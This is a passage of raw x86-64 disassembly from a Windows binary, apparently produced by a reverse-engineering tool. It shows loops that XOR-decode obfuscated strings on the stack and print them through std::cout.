mov rdi, qword [rsp + 0xaa8]
add rdi, 0x40
jmp 0x1402345e0
mov rdi, qword [rsp + 0xab0]
jmp 0x1402345e0
test rcx, rcx
jne 0x140238792
movups xmm0, xmmword [0x1402ab1f0]
movups xmmword [rsp + 0x368], xmm0
movsd xmm0, qword [0x1402ab200]
movsd qword [rsp + 0x378], xmm0
mov r15d, dword [0x1402bd008]
cmp byte [0x1402ab207], 0
je 0x1402348a7
cmp r15d, 2
jl 0x140234841
movdqa xmm10, xmmword [0x1402ad0a0]
mov edx, r12d
movdqa xmm6, xmmword [0x1402ad190]
mov eax, 6
movd xmm7, eax
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad1a0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x1402ad0e0]
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x36c]
mov r8d, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm5, edx
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [rdx + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x140234680
jmp 0x1402348a7
lea r10, [rsp + 0x368]
mov r9d, r12d
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x69
sub r8b, dl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x18
jl 0x140234850
lea rdx, [rsp + 0x368]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14025af20
movzx ecx, word [0x1402a9568]
mov word [rsp + 0x6c], cx
cmp byte [0x1402a9569], 0
je 0x1402348da
mov byte [rsp + 0x6c], 0xa
xor byte [rsp + 0x6d], 0x43
lea rdx, [rsp + 0x6c]
mov rcx, rax
call fcn.14025af20
movsd xmm0, qword [0x1402abff0]
movsd qword [rsp + 0x108], xmm0
movzx eax, byte [0x1402abff8]
mov byte [rsp + 0x108], 0x41
xor byte [rsp + 0x109], 0x43
xor byte [rsp + 0x10a], 0x45
xor byte [rsp + 0x10b], 0x47
xor byte [rsp + 0x10c], 0x49
xor byte [rsp + 0x10d], 0x4b
xor byte [rsp + 0x10e], 0x4d
xor byte [rsp + 0x10f], 0x4f
xor al, 0x51
mov byte [rsp + 0x110], al
lea rdx, [rsp + 0x108]
mov rcx, rdi
call fcn.14025ba90
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0xa38], xmm0
mov qword [rsp + 0xa48], r12
mov qword [rsp + 0xa50], 0xf
mov byte [rsp + 0xa38], 0
or ebx, 4
mov dword [rsp + 0x40], ebx
cmp byte [rax], 3
jne 0x14023855c
mov rdx, qword [rax + 8]
lea rax, [rsp + 0xa38]
cmp rax, rdx
je 0x1402349bc
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x1402349af
mov rdx, qword [rdx]
lea rcx, [rsp + 0xa38]
call fcn.1402594a0
and ebx, 0xfffffffb
or ebx, 3
mov eax, dword [0x1402ab9e0]
mov dword [rsp + 0xf0], eax
movzx eax, byte [0x1402ab9e4]
mov byte [rsp + 0xf0], 0x48
xor byte [rsp + 0xf1], 0x43
xor byte [rsp + 0xf2], 0x45
xor byte [rsp + 0xf3], 0x47
xor al, 0x49
mov byte [rsp + 0xf4], al
lea rdx, [rsp + 0xf0]
mov rcx, rdi
call fcn.14025ba90
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0xb00], xmm0
mov qword [rsp + 0xb10], r12
mov qword [rsp + 0xb18], 0xf
mov byte [rsp + 0xb00], 0
or ebx, 0x20
mov dword [rsp + 0x40], ebx
cmp byte [rax], 3
jne 0x1402385ac
mov rdx, qword [rax + 8]
lea rax, [rsp + 0xb00]
cmp rax, rdx
je 0x140234a73
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140234a66
mov rdx, qword [rdx]
lea rcx, [rsp + 0xb00]
call fcn.1402594a0
and ebx, 0xffffffdf
or ebx, 0x18
movsd xmm0, qword [0x1402aaf48]
movsd qword [rsp + 0xd0], xmm0
movzx ecx, word [0x1402aaf50]
mov word [rsp + 0xd8], cx
movzx eax, byte [0x1402aaf52]
mov byte [rsp + 0xd0], 0x41
xor byte [rsp + 0xd1], 0x43
xor byte [rsp + 0xd2], 0x45
xor byte [rsp + 0xd3], 0x47
xor byte [rsp + 0xd4], 0x49
xor byte [rsp + 0xd5], 0x4b
xor byte [rsp + 0xd6], 0x4d
xor byte [rsp + 0xd7], 0x4f
xor cl, 0x51
mov byte [rsp + 0xd8], cl
xor byte [rsp + 0xd9], 0x53
xor al, 0x55
mov byte [rsp + 0xda], al
lea rdx, [rsp + 0xd0]
mov rcx, rdi
call fcn.14025ba90
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0xa78], xmm0
mov qword [rsp + 0xa88], r12
mov qword [rsp + 0xa90], 0xf
mov byte [rsp + 0xa78], 0
bts ebx, 8
mov dword [rsp + 0x40], ebx
cmp byte [rax], 3
jne 0x1402385fc
mov rdx, qword [rax + 8]
lea rax, [rsp + 0xa78]
cmp rax, rdx
je 0x140234b70
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140234b63
mov rdx, qword [rdx]
lea rcx, [rsp + 0xa78]
call fcn.1402594a0
btr ebx, 8
or ebx, 0xc0
movsd xmm0, qword [0x1402ab3d8]
movsd qword [rsp + 0xc0], xmm0
movzx ecx, word [0x1402ab3e0]
mov word [rsp + 0xc8], cx
movzx eax, byte [0x1402ab3e2]
mov byte [rsp + 0xc0], 0x41
xor byte [rsp + 0xc1], 0x43
xor byte [rsp + 0xc2], 0x45
xor byte [rsp + 0xc3], 0x47
xor byte [rsp + 0xc4], 0x49
xor byte [rsp + 0xc5], 0x4b
xor byte [rsp + 0xc6], 0x4d
xor byte [rsp + 0xc7], 0x4f
xor cl, 0x51
mov byte [rsp + 0xc8], cl
xor byte [rsp + 0xc9], 0x53
xor al, 0x55
mov byte [rsp + 0xca], al
lea rdx, [rsp + 0xc0]
mov rcx, rdi
call fcn.14025ba90
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0xa58], xmm0
mov qword [rsp + 0xa68], r12
mov qword [rsp + 0xa70], 0xf
mov byte [rsp + 0xa58], 0
bts ebx, 0xb
mov dword [rsp + 0x40], ebx
cmp byte [rax], 3
jne 0x14023864c
mov rdx, qword [rax + 8]
lea rax, [rsp + 0xa58]
cmp rax, rdx
je 0x140234c71
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140234c64
mov rdx, qword [rdx]
lea rcx, [rsp + 0xa58]
call fcn.1402594a0
btr ebx, 0xb
or ebx, 0x600
movsd xmm0, qword [0x1402ab1c0]
movsd qword [rsp + 0x1c0], xmm0
mov eax, dword [0x1402ab1c8]
mov dword [rsp + 0x1c8], eax
cmp byte [0x1402ab1cb], 0
je 0x140234f17
mov r9d, r12d
cmp r15d, 2
jl 0x140234ea3
movdqa xmm7, xmmword [0x1402ad190]
mov eax, 6
movd xmm9, eax
movdqa xmm8, xmmword [0x1402ad180]
mov eax, 0x1f
movd xmm11, eax
movdqa xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [0x1402ab1c0]
pxor xmm3, xmm0
movd dword [rsp + 0x1c0], xmm3
movdqa xmm5, xmmword [0x1402ad0c0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x1c4]
pxor xmm3, xmm1
movd dword [rsp + 0x1c4], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x1c0]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xc
jl 0x140234ec0
lea rdx, [rsp + 0x1c0]
mov rcx, rdi
call fcn.14025ba90
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0xb20], xmm0
mov qword [rsp + 0xb30], r12
mov qword [rsp + 0xb38], 0xf
mov byte [rsp + 0xb20], 0
bts ebx, 0xe
mov dword [rsp + 0x40], ebx
cmp byte [rax], 3
jne 0x14023869c
mov rdx, qword [rax + 8]
lea rax, [rsp + 0xb20]
cmp rax, rdx
je 0x140234f8c
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140234f7f
mov rdx, qword [rdx]
lea rcx, [rsp + 0xb20]
call fcn.1402594a0
btr ebx, 0xe
or ebx, 0x3000
movsd xmm0, qword [0x1402a9a78]
movsd qword [rsp + 0x170], xmm0
mov eax, dword [0x1402a9a80]
mov dword [rsp + 0x178], eax
movzx eax, byte [0x1402a9a84]
mov byte [rsp + 0x17c], al
mov r9d, r12d
cmp r15d, 2
jl 0x1402351bf
movdqa xmm7, xmmword [0x1402ad190]
mov eax, 6
movd xmm9, eax
movdqa xmm8, xmmword [0x1402ad180]
mov eax, 0x1f
movd xmm11, eax
movdqa xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [0x1402a9a78]
pxor xmm3, xmm0
movd dword [rsp + 0x170], xmm3
movdqa xmm5, xmmword [0x1402ad0c0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x174]
pxor xmm3, xmm1
movd dword [rsp + 0x174], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x170]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x1402351d0
lea rdx, [rsp + 0x170]
mov rcx, rdi
call fcn.14025ba90
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
mov qword [rsp + 0xb50], r12
mov qword [rsp + 0xb58], 0xf
mov byte [rsp + 0xb40], 0
bts ebx, 0x11
mov dword [rsp + 0x40], ebx
cmp byte [rax], 3
jne 0x1402386ec
mov rdx, qword [rax + 8]
lea rax, [rsp + 0xb40]
cmp rax, rdx
je 0x14023529c
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14023528f
mov rdx, qword [rdx]
lea rcx, [rsp + 0xb40]
call fcn.1402594a0
btr ebx, 0x11
or ebx, 0x18000
movsd xmm0, qword [0x1402ab7f8]
movsd qword [rsp + 0x1a0], xmm0
mov eax, dword [0x1402ab800]
mov dword [rsp + 0x1a8], eax
movzx eax, word [0x1402ab804]
mov word [rsp + 0x1ac], ax
movzx eax, byte [0x1402ab806]
mov byte [rsp + 0x1ae], al
mov r9d, r12d
cmp r15d, 2
jl 0x1402354de
movdqa xmm7, xmmword [0x1402ad190]
mov eax, 6
movd xmm9, eax
movdqa xmm8, xmmword [0x1402ad180]
mov eax, 0x1f
movd xmm11, eax
movdqa xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [0x1402ab7f8]
pxor xmm3, xmm0
movd dword [rsp + 0x1a0], xmm3
movdqa xmm5, xmmword [0x1402ad0c0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x1a4]
pxor xmm3, xmm1
movd dword [rsp + 0x1a4], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x1a0]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x69
sub r8b, dl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xf
jl 0x1402354f0
lea rdx, [rsp + 0x1a0]
mov rcx, rdi
call fcn.14025ba90
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0xb60], xmm0
mov qword [rsp + 0xb70], r12
mov qword [rsp + 0xb78], 0xf
mov byte [rsp + 0xb60], 0
bts ebx, 0x14
mov dword [rsp + 0x40], ebx
cmp byte [rax], 3
jne 0x14023873c
mov rdx, qword [rax + 8]
lea rax, [rsp + 0xb60]
cmp rax, rdx
je 0x1402355bc
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x1402355af
mov rdx, qword [rdx]
lea rcx, [rsp + 0xb60]
call fcn.1402594a0
btr ebx, 0x14
or ebx, 0xc0000
mov dword [rsp + 0x40], ebx
movsd xmm0, qword [0x1402ab310]
movsd qword [rsp + 0xb0], xmm0
movzx edx, word [0x1402ab318]
mov word [rsp + 0xb8], dx
movzx eax, byte [0x1402ab31a]
mov byte [rsp + 0xb0], 0x41
xor byte [rsp + 0xb1], 0x43
xor byte [rsp + 0xb2], 0x45
xor byte [rsp + 0xb3], 0x47
xor byte [rsp + 0xb4], 0x49
xor byte [rsp + 0xb5], 0x4b
xor byte [rsp + 0xb6], 0x4d
xor byte [rsp + 0xb7], 0x4f
xor dl, 0x51
mov byte [rsp + 0xb8], dl
xor byte [rsp + 0xb9], 0x53
xor al, 0x55
mov byte [rsp + 0xba], al
lea rdx, [rsp + 0xb0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14025af20
lea rdx, [rsp + 0xa38]
cmp qword [rsp + 0xa50], 0x10
cmovae rdx, qword [rsp + 0xa38]
mov r8, qword [rsp + 0xa48]
mov rcx, rax
call fcn.140261540
movzx ecx, word [0x1402a9568]
mov word [rsp + 0x70], cx
cmp byte [0x1402a9569], 0
je 0x1402356a9
mov byte [rsp + 0x70], 0xa
xor byte [rsp + 0x71], 0x43
lea rdx, [rsp + 0x70]
mov rcx, rax
call fcn.14025af20
mov ecx, dword [0x1402abca8]
mov dword [rsp + 0xf8], ecx
movzx edx, word [0x1402abcac]
mov word [rsp + 0xfc], dx
movzx ecx, byte [0x1402abcae]
mov byte [rsp + 0xf8], 0x48
xor byte [rsp + 0xf9], 0x43
xor byte [rsp + 0xfa], 0x45
xor byte [rsp + 0xfb], 0x47
xor dl, 0x49
mov byte [rsp + 0xfc], dl
xor byte [rsp + 0xfd], 0x4b
xor cl, 0x4d
mov byte [rsp + 0xfe], cl
lea rdx, [rsp + 0xf8]
mov rcx, rax
call fcn.14025af20
lea rdx, [rsp + 0xb00]
cmp qword [rsp + 0xb18], 0x10
cmovae rdx, qword [rsp + 0xb00]
mov r8, qword [rsp + 0xb10]
mov rcx, rax
call fcn.140261540
movzx ecx, word [0x1402a9568]
mov word [rsp + 0x74], cx
cmp byte [0x1402a9569], 0
je 0x14023576e
mov byte [rsp + 0x74], 0xa
xor byte [rsp + 0x75], 0x43
lea rdx, [rsp + 0x74]
mov rcx, rax
call fcn.14025af20
mov r11, rax
movsd xmm0, qword [0x1402a9460]
movsd qword [rsp + 0x180], xmm0
mov ecx, dword [0x1402a9468]
mov dword [rsp + 0x188], ecx
movzx ecx, byte [0x1402a946c]
mov byte [rsp + 0x18c], cl
mov r9d, r12d
mov edi, 6
cmp r15d, 2
jl 0x1402359a7
movdqa xmm7, xmmword [0x1402ad190]
movd xmm9, edi
movdqa xmm8, xmmword [0x1402ad180]
mov eax, 0x1f
movd xmm11, eax
movdqa xmm5, xmmword [0x1402ad0a0]
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm9
pmuldq xmm4, xmm8
pmuldq xmm1, xmm8
shufps xmm4, xmm1, 0xdd
psubd xmm4, xmm5
psrad xmm4, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad0e0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad1a0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [0x1402a9460]
pxor xmm3, xmm0
movd dword [rsp + 0x180], xmm3
movdqa xmm5, xmmword [0x1402ad0c0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x184]
pxor xmm3, xmm1
